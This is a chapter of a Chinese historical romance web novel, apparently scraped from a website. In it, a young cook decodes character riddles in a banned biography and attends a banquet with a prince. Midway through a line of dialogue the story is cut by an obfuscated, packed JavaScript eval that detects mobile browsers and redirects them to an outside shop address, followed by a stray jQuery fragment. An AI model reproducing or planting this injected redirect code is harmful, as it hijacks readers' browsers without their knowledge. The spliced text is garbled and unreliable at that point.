回到屋中,将箱中的书一本本取出摆放。
借着烛光,她翻开了那本颇为眼熟的书。只是练了半日的弓箭,手臂有些酸胀,只好靠在榻边翻看。
就着夏夜清风,吹灭了烛火,也不知何时睡着了。
贺元棠做了一个梦。
梦见书中描绘了一个绮丽的故事,她好像凭虚御风,飞到了云端天宫。
那里有十二扇绣屏,有恍若神仙妃子的存在。
玉楼朱阁,金窗绣户,歌舞升平。
那是一个怎样的梦?
清晨的阳光再次照在她的脸上时,揉了揉惺忪的眼睛,她竟是想不起来了。
也许是书中记载的文字太过复杂深奥,让自己看睡着了。
再次翻开书页,里面密密麻麻地记着一篇又一篇文章,有长有短,但多是围绕同一个人展开。
她记得贺元毅说过,这类的书叫做传记。
这是为谁而立的传记?无名无姓,亦无注解。
数来约有二三十篇,若真是为无名无实之人所写,那不成了月荷姑娘的画本?杜撰而来,居然也能写这样多么。
佩服之余,贺元棠决定还是到书铺去寻寻。
穿过蓬勃的烟火气,终于见到书铺的幌子在不远处摇晃。
耳畔的吆喝叫卖声不绝,这是京城的早市开场。
初到此处,是与月桂月桃来寻话本的。店家将它们放在后边的架子上,篮筐里也堆有一些,多是更为私.密的读物。
她记得最初见到那本书时,是在找月荷姑娘写的话本。
殿下府中放着的、这样严谨复杂的一本传记,真的是话本?
莫不是殿下瞧见她爱看,又实在找不出这些闲书,便挑了这本给她?
怎么找不到了。
她绕着书架从上至下,又从下至上地寻了两遍,也没见到那本封皮与众不同的书。
奇怪……
“小娘子,想找什么本子?”
店家了呵呵地绕到书架后问她,“这架上没有的,兴许放在筐里呢。”
贺元棠上次便见识过筐里放的都是些什么书,摇摇头,觉得不会出现在里面。
“阿伯,您这儿有没有一本墨绿色封皮,上面绘有彩纹的……”
店家瞪大了眼睛,忙让她噤声:“小娘子,那可是禁书,我这里没有的!”
禁书?不会吧,那本书中并未写着什么惊世骇俗的东西,不过市面上禁售的书,殿下藏在王府里,倒也不奇怪了。
掌柜瞧着她像是上次同那满庭芳的姑娘一道来的,非要塞给她几本好书,说是到时让姑娘们多来。
“月荷姑娘最近如何?”店家嘿嘿地笑着。
“挺好的呀。”
“那就好,那就好。”店家搓了搓手,欲言又止,最终还是没有开口问她。
回到楼中,贺元棠将那本从王府带出的“禁书”放在衣裳里,到了月荷的院子。
“禁书?我写的就是禁书啊。”月荷噗嗤一声笑出来,“我晓得了,下月给店家送一点过去。”
“那片架子上放的都是禁售的话本图册么,有没有杜撰的小传、故事这些书呢?”
月荷看出她怀里装了东西,透出绿色的一角。“民间传奇有真有假,写于书中看看就罢了,当真不得。”
“那殿下也会看这样的书么?”她顿了顿,“呃我是说殿下这样的贵族子弟官家小姐,我以为他们只会读圣贤书呢。”
“他们看得可比你想得多,尤其是殿下呀,难道你看不出来?”
贺元棠淡淡地道了一句“哦,这样啊。”
那兴许就是殿下看的吧,道别了月荷,又从她这里拿了几个话本子回去。
她耐着性子看着那些不像传奇故事般轻松愉悦的文字,偶有几篇读来十分熟悉。
什么世家府邸高门联姻……
京中繁花遥落江南……还有什么再启东山。
……这页怎么还被撕掉了?小小盛景行怎么看书这样不爱惜。
舟行江畔只赏两岸峰贯耳,言谈六艺不论礼乐御数书。
双峰贯耳,君子六艺……这两句话有什么关联?和这书又有什么关系?
不知怎的,她突然想到了哥哥,从前贺元毅最擅长解这些什么书什么字谜。
等等,字谜?
双峰贯耳是陆字,这篇故事写的是跟陆有关的人么,哪个陆呢……
贺元棠只认识一户姓陆的人家,陆伯之陆公子的家。
她觉得好像有点道理,殿下收着这本书,书中出现的是他认识的人。
莫非真是月荷写的那种猎奇话本,只是言辞更为正式一些?也不排除这种可能嘛。
贺元棠继续翻着这本书,若真是与陆大人有关,除了是猎奇话本之外,她想不出来还有什么可能会成为禁书。
长卿?这书里怎么还写着长卿的名字?
长卿除了与草药徐长卿听起来有一些关联之外,贺元棠第一次听到这个名字时,想到的就是一种小蟹,别名长卿。
蟹,音同谢。
她觉得呼吸停滞了片刻,这世上真有这么巧的事。
若是书中所写,是传闻中犯了谋逆之罪的谢家,那它成为禁书,也就“情有可原”了。
言谈六艺,不论礼乐御书数,只论射,便是谢字。
这是一本谢公的传记,其中被撕掉了一页,最后写着陆家归京,陆大人做了三司使的事。
按照多年来看话本的技巧,贺元棠是这样猜测的。
被撕掉的几页一定是与谢家谋逆以及谢棠有关。殿下怕睹物思人,撕掉了那几页?不过这书是谁写的呢……
“小棠,殿下来了!”阿福跑来敲门,“殿下有事与你商议,叫你去前楼。”
阿福如今有了几个帮工的手下,成了一个小小的领班,没在后厨帮她干刷碗的杂活,但仍旧晒得黝黑。
收好了书,依旧是长卿为她开了三楼的那扇门。
“明日随我去陆府赴宴。”
“也不早点儿告诉我,我明日还有事呢。”她小声嘀咕。
“陆大人府中四海名厨可不少,听闻你要做蟹宴,倒是个不错的学习机会。”他顿了顿,“陆大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815427|190852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人是你兄长的老师,你与他相识,并不算坏事。”
她轻轻地应了声,不过做蟹宴是苏掌柜才与她说的话,自己都还没答应呢,殿下怎么就知道了?
“那我需要准备些什么吗?”
“准备好跟着我。”
好吧。
贺元棠默默地回去找衣裳,这大半年来她也攒了不少钱,除去日常开销与送姐妹们的礼物之外,余下的远远不够实现她当初的愿望。
柜子里好一些的衣裳只有年初苏掌柜带她们去定做的,和当初宁王送的几套。听说月桃和月丹姑娘声名在外,常常被请去唱歌或刺绣,也有不菲的收入。
若是她应下苏掌柜的邀请,做好十月的蟹全宴,是不是就能赚更多的银子?如今兄长仕途未明,父亲母亲又碍于方伯等人收了铺子。
她想要赚更多的钱。
从入京至今,她与码头漕运打了不少交道,也在殿下、兄长、月荷等人口中听说过漕运的重要性,既然每年南方水路入京的货物这样受欢迎,那她可否像方伯那般,联通乡邻的水产一路入京,甚至到更远的地方去?
可是从未听说过有女人做这样的事,贺元棠摇了摇头,大家不还说京城没有女人做掌柜么?苏掌柜做得多好呀。
挑了一件得体的衣裳,她伸了伸懒腰躺在床上。
要不要带首饰呢?窗外的皎洁的月光衬得她肤若凝脂,睫毛轻轻上下颤动着,天气渐热,夜里也可以把胳膊都伸到被子外边儿来。
自己只有几件楼中姐妹送的发簪步摇,再就是皇后和殿下给的颇为贵重的簪子。
就戴一对耳坠吧,剔透的淡粉色,正好衬那条夏荷般的裙子。
盛景行见她上马车时,并未戴上自己送她的发簪,眸光暗淡了几分,“同本王赴宴,这么素丽?”
“我好不容易挑出来的,不好看嘛?”
盛景行不知从何处抽出了一个盒子,拿出一支剔透的青玉簪插.入她发间,流苏垂下一颗光可照人的珍珠,倒是与她今日所着有几分相配。
“殿下前些日子才送过我簪子。”
“我乐意。”
他挑了挑眉,看向窗外。
不一会儿,陆府到了。
陆伯之自请外放任官,他父亲陆三司在家中宴请好友。
甫一进门,恰好遇到几个熟人。方伯正带着儿子方明拜会这位掌管漕运的陆大人。
方明眼尖,一眼便看见了贺元棠,以及她身边的……上次在码头见到的那位公子。
那公子一袭鲜衣华服,果然并非那日所见的布衣之士。不过元棠妹妹怎么跟在他身侧?
方明初到京城,此次跟着父亲来认识大人物们,还未深思那人身份,就听到京城的漕运使廖管事点头哈腰地跑了上去。
“父亲,那,那位是……?”
方伯抬眼看去,并不惊讶:“宁王殿下,待会儿你一定要敬他一杯。”
“宁……宁王殿下?”方明惊呼出声,不远处的人听见了,驻足往二人的方向看了一眼。
她戴的那支簪子上坠着一颗价值连城的明珠。